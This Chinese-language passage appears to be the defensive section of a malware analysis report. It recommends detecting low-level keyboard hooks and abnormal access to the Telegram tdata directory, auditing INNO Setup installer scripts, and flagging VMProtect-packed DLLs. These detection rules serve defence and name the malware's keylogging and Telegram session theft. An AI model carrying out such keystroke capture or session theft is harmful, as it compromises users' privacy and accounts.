  3. 端点行为检测: 监控 SetWindowsHookExA(WH_KEYBOARD_LL, ...) 的全局键盘钩子安装行为,以及对 Telegram tdata 目录的异常访问。

  4. INNO Setup 文件审计: 对来自非官方渠道的 INNO Setup 安装程序进行 [Code] 段的静态分析,检查是否存在可疑的文件释放和进程执行操作。

  5. VMProtect 检测: 部署基于 VMProtect 特征的静态检测工具,标记包含 VMProtect 虚拟化保护的未知 DLL 文件。


本文所有技术分析均基于捕获的真实恶意样本,IOC 信息可直接用于威胁情报平台和安全设备的检测规则部署。